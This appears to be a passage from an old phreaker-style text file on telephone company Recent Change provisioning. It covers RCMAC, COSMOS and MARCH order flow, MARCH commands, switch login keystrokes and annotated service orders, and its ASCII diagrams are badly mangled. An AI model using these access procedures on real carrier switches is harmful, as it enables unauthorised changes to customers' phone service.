| | | | | | Level | | | | Switch and Level

| | | | | Switch | | | Concentrator | | | | Concentrator | | Concentrator Group

| | | Bay | Link Trunk Network

| | Line Switch Frame Control Group

| Line Link

Control Group

#3ESS Others

~~~~~

OE 0 0 1 ‑ 2 1 4 0 1XB = XXXX‑XXX‑XX

| |/ | | | | 1XB = XXXX‑XXXX‑XX

| | | | | Level 5XB = XXX‑XX‑XX | | | | Switch SXS = XXXX‑XXX | | | Switch Group DMS‑10 = XXX‑X‑XX‑X | | Concentrator 5ESS = XXXX‑XXX‑XX | Concentrator Group 5ESS = XXXX‑XX‑XX Control Group RSS = XXXX‑X‑XXXX

DMS‑1/200 = XXX‑X‑XX‑XX

2. How Does All This Fit Into RCMAC?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RCMAC (Recent Change Memory Administration Center) is responsible for updating any Service Order activity. This action will change a customer line or service in the Recent Change memory of the SPC switches.

3. Function of RCMAC

~~~~~~~~~~~~~~~~~~~~

The three basic functions performed in RCMAC are:

a. Coordination of Recent Change Source Documentation

b. Processing of Recent Change Requests

c. Administrative Responsibilities and Interface Groups

In more detail:

‑ Coordination of Recent Change Source Documentation

The first function is the coordination of Source Documents. The main source of RC (Recent Change) is the Service Orders. Service Orders are changes in a subscriber's service. RCMAC, in addition to the input of the service order in the switches, is responsible for other activities such as:

‑ Simulated Facilities (SFG)

‑ Route Indexes

‑ Traffic Registers (TR)

‑ Subscriber Line Usages (SLU)

‑ Service Observing Assignment (SOB)

‑ MARCH (MIZAR) RPM Updates

Terminal Communications to the switches and/or MARCH (MIZAR) typically use the AT&T Datakit. RCMAC also is responsible for "HOT" requests from the I.C. (Installation Center) and other transmissions from the I.C.

‑ Processing of Recent Change Requests

The second function of RCMAC is processing of RC messages. This involves inputting and editing RC messages in the switches. When RCMAC inputs messages, they are making a change to their customer's service. The customers service is dependent on the prompt, accurate processing of RC source documents (Service Orders).

The due date (sometimes referred to as the Frame Due Date) remarks and time interval assigned to the order will govern the release of RC input to ESS. Due date is important because this is the date that the Service Order has to be completed (going through the FACS system, frame work done, and RC message inputted into the switch).

Recent Change Requests

The RCMAC receives documentation for changes to the temporary memory areas of the various types of ESS equipment. These changes may come in many forms and from many different sources.

________

|

Service Orders‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>| R |‑‑‑‑‑‑‑‑‑>| ESS | _____

Line Station Transfer‑‑‑‑‑‑‑‑‑>| C | |_____| | |

Service Observing‑‑‑‑‑‑‑‑‑‑‑‑‑>| M |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>| ESS |

Special Studies‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>| A | ______ |_____|

Trouble Reports‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>| C | | |

Verifications‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>| |‑‑‑‑‑‑‑‑‑>|ESS |

|________

Some Recent Changes requests are Service Orders, Line Equipment Transfers (LET), Service Observing Requests (SOB), Special Studies (SLU), Trouble Reports and Verification (follow local procedure). In short, it is taking this information and making the correct changes into the SPC switches.

‑ Administrative Responsibilities and Interface Groups

‑ Control of errors.

‑ Monitor activity.

‑ Prepare administrative reports.

‑ Coordination of RCMAC operations and interface with other departments. ‑ Restore RC area of the switches in the event that RC memory is damaged due to machine failure.

Operational Interface

RCMAC must coordinate activities with many work groups to achieve accurate and quick RC for the ESSes.

BSC/RSC & MKTG

|

|

SCC | RSB

\ | /

\ | /

\ | /

NAC ‑‑‑‑‑‑‑‑‑‑ RCMAC ‑‑‑‑‑‑‑‑‑‑ IC

/ \

/ \

/ \

Frame MLAC

To help understand this better, here is a short description of each group that interfaces with RCMAC:

SCC (Switching Control Center)

‑ Technical assistance to RCMAC

‑ Provide emergency coverage (off hours) for RCMAC. This includes service affecting problems. They also coordinate any updates in the ESS programs with RCMAC.

NAC (Network Administration Center) provides RCMAC with:

‑ Line Class Codes (LCC) like 1FR (1‑party Flat Rate).

‑ List of numbers that must be changed (in ESS memory) from one intercept route index to another, prior to reassignment.

‑ Translation Assignments; Example: Simulated Facilities Group (SFG). ‑ Area Transfer/Dial for Dial Assignment.

‑ Service Observing assignment.

‑ Subscriber Line Usages (SLU) study assignment.

‑ Customer Line Overflow study assignment.

‑ RPM updates for DMS 100 change in COSMOS tables USOC/NXX/Ltg.

Frame (Frame Jeopardy Reports) Central Office (FCC) will interface with RCMAC for Line Equipment transfers.

‑ Problems encountered by the frame group when completing Service Orders may be coordinated with the MLAC (Loop Assignment Center), or when appropriate will be called directly to RCMAC (i.e. No Dial Tone on a new connect).

Business/Residence Service Center (BSC/RSC) and Marketing (MKTG)

‑ The BSC/RSC and MKTG determine what kind of service the customer wants, generates Service Orders, and coordinates with RCMAC regarding special services to customers.

Repair Service Bureau (RSB) or Single Point of Contact (SPOC)

‑ Customer trouble reports may involve RC inputs; the RCMAC would work closely with RSB or SPOC to clear such troubles.

‑ RCMAC is responsible for analyzing, investigating and resolving customer trouble caused by RC input.

Installation Center (IC) and/or Maintenance Center (MC)

‑ The IC/MC group is responsible for the administration function associated with the completion and control of Service Order load. This invokes all orders whether they require field work or no field work. ‑ This Group is responsible for ensuring all service orders are taken care of on the proper due date.

Mechanized Loop Assignment Center (MLAC) or LAC

‑ Assigns Service Orders for RCMAC.

‑ Assigns customers loops (this group is not in all BOCs).

D. The FACS Environment

~~~~~~~~~~~~~~~~~~~~~~~

To better understand RCMAC, Source Document flow, and a typical BOC as a whole, the FACS (Facility Administration Control System) is an important part of this.

Systems in a FACS environment

PREMIS ‑ PREMises Information System

This system is divided into three parts: the main PREMIS database, PREMLAC (Loop Assignment) and PREMLAS (Loop Assignment Special circuit). This contains customer and address inventory and assigns numbers.

SOAC ‑ Service Order Analysis and Control

This system receives Service Orders from SORD and interprets and determines facility requirements. The system requests and receives assignments from LFACS and COSMOS and forwards orders to MARCH, forwards assignments to SORD, and also maintains Service Order history and manages changes.

LFACS ‑ Loop FACS contains all loop facilities inventory and responds to requests for assignment.

COSMOS ‑ COmputer System for Mainframe OperationS contains all the OE inventory and responds for OE request.

SORD ‑ Service ORder and Distribution distributes Service Orders throughout the system.

MARCH ‑ MARCH is the Mizar upgrade which will come into play when the Stromberg‑Carlson (SxS and XBAR) is upgraded to Generic 17.1 (the software interface is called NAC). Though there is a problem with the interface between MARCH and COSMOS (because the Generic Interface is not supported by COSMOS), templates are used for MAN, AGE, LETS, etc. Anyway, MARCH plays a big part in this system. MARCH, aside from what was talked about above, has a basic function of keeping RCMAC up to date on the switches (MSR user transaction). It is an RC message manager which will allow one to modify messages (ORE), show usages (MAR) and logs all transmissions.

BASIC ORDER FLOW

~~~~~~~~~~~~~

PHASE I ‑ COSMOS/MIZAR

__________

| |

| Customer |

| Request |

|__________|

|

V

_________

| |

| SORD |

|_________|

|

V _________

__________ | |

| | | Work |

| SOAC | ‑‑‑‑‑‑‑‑‑‑> | Manager |

|__________| | (WM) |

|_________|

|

|

V

* * * * * *

* *

* COSMOS * ‑‑‑‑‑‑‑> | MIZAR |

* *

* * * * * *

V

SPCS/ |

DIGITAL |

SWITCH |

========================================

PHASE II ‑ SOAC/MARCH

__________

| |

| CUSTOMER |

| REQUEST |

|__________|

|

|

V

__________

| |

| SORD |

|__________|

|

|

V ___________

__________ | |

| | | WORK | | | | SPCS/ |

| SOAC | ‑‑‑‑‑‑> | MANAGER | ‑‑‑‑‑‑> | MARCH | ‑‑‑> | DIGITAL |

|__________| | (WM) | |_________| | SWITCH |

|___________|

========================================

... Then There Was MLAC

With conversion to FACS, a shift in the service order provisioning process was made from manual input by the LAC and NAC to mechanized data flow from SOAC to COSMOS (via Work Manager). Tables used for Recent Change (CFINIT, USL, and CXM) and spare OE assignments reside in COSMOS, along with the Recent Change Message Generator (RCMG). The LAC and NAC are now involved only on an exception basis (This will be explained in more detail later on). ________

| |

| SORD |

|________|

|

|

V ____________

_________ | |

| | ‑‑‑‑‑‑‑‑‑> | FACS |‑‑‑

| SOAC | | COMPONENTS | |

|_________| <‑‑‑‑‑‑‑‑‑ | FOR ASGNS. |‑‑‑

| |____________|

|

V * * * * * * * * * * * * * * *

_________ * ___________

| | * | | __

| WM |‑‑‑> * | o SP OE | | | * RC | | |_________| * | o CFINIT |‑‑‑‑> | RCMG | * ‑‑‑‑‑>| MARCH | * | o USL | |________| * MSG |_______|

* | o CMX | * |

* |___________|

* V

* C O S M O S * _________

* * * * * * * * * * * *

SPCS/ |

DIGITAL |

SWITCH |

. . . NOW THERE IS SOAC/MARCH

With the SOAC/MARCH application (FACS/MARCH configuration), the primary source of service order data continues to be SOAC. COSMOS is taken out of the Recent Change business with this application (except, like the LAC and NAC, on an exception basis) and becomes just another FACS Component. The tables that resided in COSMOS or Recent Change are now duplicated in MARCH.

Instead of retrieving, storing, and passing on already‑formatted Recent Change messages, MARCH now generates the Recent Change from the data passed from SOAC, as did COSMOS previously.

________

| |

| SORD |

|________|

|

|

V ____________

_________ | |

| | ‑‑‑‑‑‑‑‑‑> | FACS |‑‑‑

| SOAC | | COMPONENTS | |

|_________| <‑‑‑‑‑‑‑‑‑ | FOR ASGNS. |‑‑‑

| |____________|

|

V * * * * * * * * * * * * * * *

_________ * ___________

| | * | | __

| WM |‑‑‑> * | o RPM | | | * RC | | |_________| * | o CFINIT |‑‑‑‑> | RCMG | * ‑‑‑‑‑> | SPCS/ | * | o USL | |________| * MSG | DIGITAL |

* |___________| SWITCH |

*

* M A R C H *

* * * * * * * * * * * *

E. Getting Ready For Recent Change Message

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

STARTING WITH SORD

Service Orders (SORD) contain FIDs and USOCs (Universal Service Order Codes [these codes tell the type of service the customer may have or get]) followed by data specific to a customer's service request (SORD accesses PREMIS for telephone number and address data; other entries are made by the Service Representative). The order is then passed to SOAC.

THEN TO SOAC

SOAC uses internal tables to read the FIDs and USOCs passed by SORD to determine what information is required from the various components of FACS. SOAC then accesses the appropriate FACS components (LFACS for Cable Pair assignment; COSMOS for OE assignment) and gathers the required data.

Once all the data has been collected, SOAC passes the information to the Work Manager. Data is either passed as is or translated by SOAC (again using internal tables) into language acceptable to the receiving systems (i.e., COSMOS and MARCH).

SOAC passes information intended for MARCH in one of two ways:

TP‑Flow‑Through Translation Packets

Translation Packets (TPs) contain fully translatable data from which MARCH can generate a Recent Change message. Determination is made by SOAC based on the interface capabilities and its ability to read, translate as required, and pass data.

Service Order Image

Service Order Images are sent to MARCH if SOAC is not able to pass all required data. Images require additional information, either input manually or retrieved from COSMOS before Recent Change messages are generated.

WORK MANAGER ‑ THE TRAFFIC COP

The primary function of Work Manager is to read the service order and determine where the data must be sent. Decisions include:

COSMOS System MARCH System COSMOS Wire Center MARCH Switch COSMOS Control Group Serving RCMA

Work Manager passes the service order data to MARCH on a real time basis (orders that were previously held in COSMOS until requested by Frame Due Date [FDD] are now held in MARCH), either as a TP or an Image.

1. When MARCH Receives A Translation Packet (TP)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(1) A Translation Packet, passed from SOAC via Work Manager is received in MARCH by the CIP, Communication Interface Program.

(2) When data is received by the CIP, it calls up the CTI or Job Control Module. The Job Control Module or CTI writes the data that is received to a temporary file and informs TP Trans (Translation Translator) that an order has been received. It also controls the number of simultaneous jobs submitted to TPTrans.

(3) TPTrans analyzes the order in the temporary file, does appropriate FID conversion (such as stripping out dashes), reformats the order, and passes it to the Recent Change Message Generator (RCMG).

(4) RCMG performs all Recent Change message generation and, upon completion, writes the order into a MARCH pending file (Pending Header or Review file).

In addition to the data passed from SOAC, RCMG uses the following data in MARCH to translate into switch‑acceptable messages:

NXX Switch Specific Parameters (RPM) USOC (RPM) CCF Keywords (CFINIT) USOC/NXX (RPM) Review Triggers (RVT)

Release Times (SRM)

________

| |

| SOAC |

|________|

|

|

V

______

| |

| WM |

|______|

|

|

* * * * * * * * * * * * * *

* M A R C H *

* _______ _______ __

* | | | | |

* | CIP | ‑‑‑‑‑> | CTI | ‑‑‑‑‑> | TP TRANS| ‑‑‑‑‑> | RCMG | *

* |_______| |_______| |__

* |

* |

* ______|______

* | | /

* | /TMP |‑‑‑‑‑‑/

* |_____________|

*

* * * * * * * * * * * * * *

2. When MARCH Receives A Service Order Image

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(1) A Service Order Image, passed from SOAC via Work Manager is received in MARCH by the CIP, Communication Interface Program.

(2) When the image is received by the CIP, it calls up the CTI or Job Control Module. The Job Control Module or CTI writes the data that is received to a temporary file and informs TP TRANS (Translation Translator) that an order has been received. It also controls the number of simultaneous jobs submitted to TPTrans.

(3) TP TRANS analyzes the order in the temporary file, sees that it is a service order image, and creates a SOI (Service Order Image) file using the order number and file name. The entire image is written to the SOI file. TP TRANS signals the Service Order Image Processor (SOIP) program for the remaining processing.

(4) If SOIP can determine the switch for which the image is intended, it passes a request to the Call COSMOS file and stores the image data in the IH file (Image Header). If SOIP cannot determine the switch, the image is placed in the PAC (Unknown Switch Advisory) for manual processing.

(5) For images where the switch has been determined, MARCH calls COSMOS at its next scheduled call time and runs RCP by Order Number (if the last call time is past, it will defer the request to the first call time for the next day).

(6) If the order is received from COSMOS, it is placed in the PH or RV file appropriately and the Image Header is purged. A flag is set indicating that a Service Order Image text exists in the system. If the order is not received from COSMOS, the image is placed in the PAC for manual processing.

* * * * * * * * * * * * * *

* M A R C H *

* _______ _______ __

* | | | | |

* | CIP | ‑‑‑‑‑> | CTI | ‑‑‑‑‑> | TP TRANS| ‑‑‑‑‑> | RCMG | *

* |_______| |_______| |__

* |

* |

* ______|______ V___________ *

* | | /

* | /TMP |‑‑‑‑‑‑/‑‑‑‑‑| /SOI | *

* |_____________|

*

* * * * * * * * * * * * * *

It is not necessary for you to know all the programs MARCH uses to process Service Orders in a SOAC/MARCH environment. That gets trivial and all stuck in various commands that do not mean anything unless, of course, one is on the system at hand.

_________

___________ TP | | TP _______ TP | |

| |‑‑‑‑‑‑‑> | Work | ‑‑‑‑‑‑‑> | | ‑‑‑‑‑> | SPCS/ |

| SOAC | Image | Manager | Image | MARCH | Image | Digital |

|___________|=======> | (WM) | =======> |_______| =====> | Switch |

|_________|

| | ^ ^

| | | |

| | | |

V V | |

* * * * * * * *

* *

* COSMOS *

* *

* * * * * * * *

| | | |

| |__| |

|______|

Though it is trivial to understand just how all these system work, here is a rough overview of MARCH. To Cover MARCH, this will first cover the background processing.

F. MARCH Background Processing

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

RECENT CHANGE PARAMETER (RPM)

In conjunction with ORI Patterns and Recent Change Templates, the RPM determines how information from SOAC is changed and/or manipulated to create acceptable switch Recent Change messages.

RCMA Supervisor has overall responsibility for the RPM. Although specific categories may be maintained by Staff Manager, it is overviewed by RCMAC as a whole.

This includes Line Class Code (LCC) conversion data previously under the sole responsibility of the NAC in COSMOS. It requires a change of procedures for the RCMA to ensure proper LCC information is passed on the RPM and updated appropriately.

Initial USOC is LCC conversion data and will be copied into MARCH from the COSMOS USOC Table.

SWITCH RELEASE MANAGER (SDR)

With SOAC/MARCH, it no longer determines the types of orders to be pulled from COSMOS, and thus establishes the date and time orders are to be released to the switch, coming both from SOAC and from COSMOS.

It is based on Package Type (PKT) and Package Category (PKC)

SWINIT TRANSACTION

Contains switch‑specific data for MARCH to communicate with SOAC (via Work Manager), COSMOS, and the switch.

Establishes the call times for COSMOS.

‑ RCP by Order Number for Service Order Images.

‑ Suspends, Restores, and Nonpayment Disconnects.

‑ Automated AGE Requests (as applicable).

‑ Automated MAN Report.

SDR ‑ SWITCH DATA REPORT

SDR is a report transaction intended for use by the RCMA Associate.

The Switch Data Report provides a printout of the SWINIT information that was populated from the Perpetrations Questionnaire submitted by the RCMA Supervisor (see Order Description part of this file).

MOI of an Order in History

Orders in the History Header (HH) file will reflect the history source. The history source indicated how the order was written to the history file.

G. User Transaction in MARCH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Most Commonly Used MARCH Commands

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Transaction | Name | Function | Search keys | Prompts |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| MSR <CR> | MARCH Status |office status | . <CR> | ‑‑‑‑ | | | Report | | sw address | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| MOI <CR> | MARCH Order | status of | fn rv | ‑‑‑‑ | | | Inquiry | order, tn, | fn rj | |

| | | file | fn hh/adt xx‑xx | |

| | | so n12345678 | |

| | | tn xxxxxxx | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| ONC <CR> | On Line | Access COSMOS | ‑‑‑‑‑‑ | login |

| | COSMOS | | |password |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| ONS <CR> | On Line | Access Switch | ‑‑‑‑‑‑ | Switch |

| | Switch | | | logon |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| ORE <CR> | Order Edit | Edit Header or| fn rv | ‑‑‑‑ |

| | | message text | fn rj | |

| | | of MARCH file| so n12345678 | |

| | | tn xxxxxxx | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| ORE ‑G <CR> | Order Edit | edit multiple | 2 Search keys | ‑‑‑‑ | | | Global | files | Required | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| ORI <CR> | Order Input | Build MARCH | ‑‑‑‑‑‑ | Patterns |

| | | file | | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| ORS <CR> | Order Send | Send to Switch| so n12345678 | ‑‑‑‑ |

| | | immediately | tn xxxxxxx | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| TLC <CR> | Tail COSMOS | watch MARCH | ‑‑‑‑‑‑ | ‑‑‑‑ |

| | | pull orders | | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| TLS <CR> | Tail Switch | Watch orders | ______ | ____ |

| | | sent to switch| | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| VFY <CR> | Verify | Request Verify| ‑‑‑‑‑‑ | rltm,type|

| | | tn,oe,hml|

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| VFD <CR> | Verify | Show Completed| ‑‑‑‑‑‑ | ‑‑‑‑ |

| | Display | verifies | | |

| ‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑

| VFS <CR> | Verify Status| Show pending | ‑‑‑‑‑‑ | |

| | | verities | | |

` ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is a detailed explanation of some of the commands:

MOI ‑ MARCH ORDER INQUIRY

MOI is a conversational inquiry transaction intended for use by the RCMAC Clerk.

MOI is used to inquire on Recent Change messages in a pending file(s): Pending Header, Review, Reject, and/or History Header. It may be used to inquire on one message, an entire order, several messages in more than one file, or all orders in a file, determined by the search keys entered.

ONS ‑ ON line Switch

Each switch has its own login sequence.

DMS‑100

Login

1) Give a Hard Break

2) At the "?" prompt type "login"

3) There will be an "Enter User Name" prompt. Enter the user name. 4) Then "Enter Password" with a row of @, *, & and # covering the password.

5) Once on, type "SERVORD" and you are on the RC channel of the switch.

Logout

1) Type "LOGOUT" and CONTROL‑P

1AESS

Login

1) Set Echo on, Line Feeds on and Caps Lock on. 2) End each VFY message with " . CONTROL‑D" and each RC message with "! CONTROL‑D".

Logout

1) Hit CONTROL‑P

5ESS

Login

1) Type "rcv:menu:apprc" at the "<" prompt.

Logout

1) Type "Q" and hit CONTROL‑P

ONC ‑ On Line COSMOS

1) You will see "login:" so type in username and then there will be a "Password:" prompt to enter password.

ORE ‑ Order Edit

ORE Commands are used to move between windows and to previous and subsequent headers and text within an editing session. Commands may be input at any point in the ORE session regardless of the cursor location. They are capital letters requiring use of the shift key or control commands. Here are the movement commands:

Commands Description

~~~~~~~~ ~~~~~~~~~~~

N (ext header) Replaces the data on the screen with the next header and associated text that matches the search keys entered. M (ore text) Replaces the data in the message text window with the next message associated with the existing header (for multiple text message).

P (revious header) Replaces data in the header windows with the header you looked at previously (in the same editing session). B (ackup text) Replaces data in the message text window with the text you looked at previously (in the same editing session). S (earch window) Moves the cursor to the search window permitting additional search keys to be entered. Control‑D Next Page

Control‑U Previous Page

< Move cursor from text window to header.

> Moves to text window from header.

Q (uit) Quit

ORE ‑G

ORE ‑G is a conversational transaction intended for use by the RCMA associate.

ORE ‑G is used to globally edit Recent Change messages existing in a MARCH pending file: Pending Header, Review, and Reject. Editing capabilities include adding information on an order.

ORE ‑G is also used to change header information and to remove messages.

ORI ‑ ORder Input

ORder Input enables one to input an order and change orders. The changes that can be made are in the telephone number, OE, so on. This command is too complex to really get into here.

VFY ‑ Verify

This is used to manually input verify messages into MARCH, thus to the switches.

MSR ‑ MARCH Status Report

This used to count the amount of service orders stored in SOAC. It also shows the amount of change messages that have been sent to the switch.

H. Service Order Forms

~~~~~~~~~~~~~~~~~~~~~~

In my time, I have come across a lot of printouts that have made no sense to me. After several months, I could start to understand some of the codes. Here are what some of the common service orders are and what they are for.

SORD Service Order:

_______________________________________

|

|

|TN CUS TD DD APT MAC ACC AO CS SLS HU | |415‑343‑8765 529 T DUE W AS OF 1FR ABCDE4W | |ORD SU EX STA APP CD IOP CT TX RA SP CON AC | |C14327658 SMIUX R R |

|ACNA R

|WA 343# EXETER,SMT

|WN IDOL, BILLY

|‑‑‑S&E

|I1 ESL

|O1 1FR/TN 343‑8321/ADL

| /PIC 10288

|O1 ESL/FN 3438321

|‑‑‑BILL

|MSN IDOL, BILLY

|MSTN 555‑1212

|‑‑‑RMKS

|RMK BLAH

|

| /**** END

|

|_______________________________________

_______________________________________

|

|[1] [2] [3] [9] |

| | | |

|TN CUS TD DD APT MAC ACC AO CS SLS HU | |407‑343‑8765 529 T DUE W AS OF 1FR ABCDE4W |

|

| [8]

| |

| ORD SU EX STA APP CD IOP CT TX RA SP CON AC | |C14327658 SMIUX R R |

|ACNA R

|

|[4]

| |

|WA 343# EXETER,SMT

|

|[6]

| |

|WN AT&T

|‑‑‑S&E \

|I1 ESL |

|O1 1FR/TN 343‑8321/ADL | [5] |

| /PIC 10288 |

|O1 ESL/FN 3438321 /

|‑‑‑BILL

|

| [6]

| |

| MSN IDOL, BILLY

|

| [7]

| |

| MSTN 555‑1212

|‑‑‑RMKS

|RMK BLAH

|

| /**** END

|

|_______________________________________

[1] Telephone Number. Format is XXX‑XXX‑XXXX.

[2] Customer number.

[3] Due Date.

[4] Work Address.

[5] The S&E field:

ACTION CODE ‑‑ This is the code at the far left‑most side of the page. These codes end with a 1 or a 0. The 1 says to add this feature and the 0 says to not do the feature. There are several different action codes. Here is a list:

Action Code Used to

~~~~~~~~~~~ ~~~~~~~

I Add features

O Remove features

C‑T Change designated number of rings, "forward to" number, or both on Busy/Delay call forwarding features. E‑D Enter or Delete a feature for record purposes only. R Recap CCS USOC to advise

Here is a list of some common USOCs (features):

ESC Three Way Calling

ESF Speed Calling

ESL Speed Calling 8 Code

ESM Call Forwarding

ESX Call Waiting

EVB Busy Call Forward

EVC Bust Call Forward Extended

EVD Delayed Call Forwarding

HM1 Intercom Plus

HMP Intercom Plus

MVCCW Commstar II Call Waiting

[6] Billing name

[7] Billing number

[8] Service Order Number

[9] Class of Service or LCC (See appendix 1)

SDR File Header Information Order (MARCH)

1. Switchname 7. Package Type

2. Header File Name 8. Package Category

3. Current Date & Time 9. Reject Reason

4. Service Order Number 10. Release Date & Time

5. Service Order Type 11. Accept Date & Time

6. Telephone Number Reject Date & Time

12. Input Source

History Header File

[1] [2] [3]

| |

sw: swad0 history header file fri may 31 07:50:12 1992

[4]‑ so=janet3 tn= pkt‑in pkc=other

[11]‑ act=05‑30 0750 src=ori | | |

history text= | [6] [7] [8] rc:sclist: [12]

ord 31235

cx =031235

adn 2

! ~

Reject File

[1]‑ sw:swad2 [2]‑ reject file [3]‑ fri may 30 11:22:01 1992

[4]‑ so=c238 [5]‑ ver=7 tn=5551212 ‑[6]

[9]‑ rj reason=ot rldt=05‑30 1059 rjdt=05‑30 :106 src=cosmos

message test= | | |

rc:line:chg: [10] [11] [12] ord 87102

"=238‑7102'

"ord c231"

"restoration from ssv‑db"

tn 555 1212

lcc 1mr

! ~

ve data=

, er

m 07 rc18 0 87102 0 4 valar

new 00001605 err 00000307

05/30/92 11:07:16

I. COSMOS Service Order From The SOI Command

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

_______________________________________

|WC%

|WC% SOI

|H ORD N73322444

|

| DEC 19, 1992 10:12:21 AM |

| SERVICE ORDER ASSIGNMENT INQUIRY |

|

|ORD N733224444‑A OT(NC) ST(AC‑ ) FACS(YES) | | DD(12‑20‑92) FDD(12‑20‑92) EST(11‑16:14) SG(G) DT(XX ) OC(COR) | | MDF WORK REQ(YES) MDF COMPL(NO) LAC COMPL(NO) RCP(NO) | | WPN 9446 WLST 1= P 2= 3= 4= 5= 6= 7= 8= |

| COORDINATION REQUIRED

| RMK FAT TBCC,RO D77901070

| RMK FAT TBCC,RO D77901070

|CP 48‑0942

| ST SF PC FS WK DATE 11‑28‑89 RZ 13 |

| LOC PF01008

|OE 012‑25‑006

| ST SF PC FS WK DATE 11‑12‑91 CZ 1MB US 1MS FEA TNNL|

| PIC 10288

| LCC BB1

| CCF ESX

| LOC PF01007

|TN 571‑5425

| ST WK PD FS WK DATE 12‑03‑91 TYPE X | | **ORD D77901070‑C OT CD ST AC‑ DD 12‑20‑92 FDD 12‑20‑92 |

|

|** SOI COMPLEATED

|WC%

|_______________________________________

_______________________________________

|

| WC%

| WC% SOI

|

|

| H ORD N73322444

|

| [1]‑ DEC 19, 1992 10:12:21 AM |

| [2]‑ SERVICE ORDER ASSIGNMNET INQUIRY |

|

| [3] [4] [5] |

| | |

| ORD N733224444‑A OT(NC) ST(AC‑ ) FACS(YES) |

|

| [7] [8] [6] [9] |

| | | |

| DD(12‑20‑92) FDD(12‑20‑92) EST(11‑16:14) SG(G) DT(XX ) OC(COR) |

|

| [10] [11] [12] [13] |

| | | |

| MDF WORK REQ(YES) MDF COMPL(NO) LAC COMPL(NO) RCP(NO) |

|

|

| WPN 9446 WLST 1= P 2= 3= 4= 5= 6= 7= 8= |

| COORDINATION REQUIRED

| RMK FAT TBCC,RO D77901070

| RMK FAT TBCC,RO D77901070

|

|[35]

| |

| CP 48‑0942

|

| [34] [35] [36] [37] |

| | | |

| ST SF PC FS WK DATE 11‑28‑89 RZ 13 |

|

| LOC PF01008 ‑[39]

|

| OE 012‑25‑006 ‑[19]

|

| [20] [21] [22] [23] [24] [25] |

| | | |

| ST SF PC FS WK DATE 11‑12‑91 CS 1MB US 1MS FEA TNNL|

|

| PIC 10288

|

| LCC BB1 ‑[27]

|

| CCF ESX ‑[26]

|

| LOC PF01007 ‑[32]

|

| TN 571‑5425 ‑[14]

|

| [15] [16] [17] [18] |

| | | |

| ST WK PD FS WK DATE 12‑03‑91 TYPE X |

|

| [38] [28] [29] [30] [31] |

| | | |

| **ORD D77901070‑C OT CD ST AC‑ DD 12‑20‑92 FDD 12‑20‑92 |

|

| ** SOI COMPLETED ‑[40]

|

| WC% ‑[41]

|_______________________________________

[1] Date and Time the SOI was Requested in COSMOS

[2] Title of Output Message

[3] Order Number

[4] Order Type

[5] Status of Order

[6] EST (11‑16:14) When Service Order was Established into COSMOS [7] Due Date

[8] Frame Due Date

[9] Segment Group

[10] Main Distributing Frame Work Required

[11] Main Distributing Frame Work Complete

[12] Loop Assignment Center Completed

[13] FACS Y

>‑‑ The order has downloaded from SOAC to MARCH(MARCH) RCP N

[14] Telephone Number

[15] Present State of Telephone Number

[16] Future Status of Telephone Number

[17] Date of Last Activity on Telephone Number

[18] Type of Telephone Number

[19] Line Equipment

[20] Present Status of Line Equipment

[21] Future Status of Phone Line

[22] Date of Last Activity on Line Equipment

[23] Class of Service

[24] USOC

[25] Features

[26] Custom Calling Feature

[27] Line Class Code

[28] Order Type that is Clearing Telephone Number

[29] Status of Order that is Clearing Telephone Number

[30] Due Date

[31] Frame Due Date

[32] Location of Line Equipment on Frame

[33] Cable and Pair

[34] Present Status of Cable and Pair

[35] Future Status of Cable and Pair

[36] Date of Last Activity on Cable and Pair

[37] Resistance Zone

[38] Order Number Clearing Cable

[39] Location of Cable and Pair on Frame

[40] SOI Complete Message

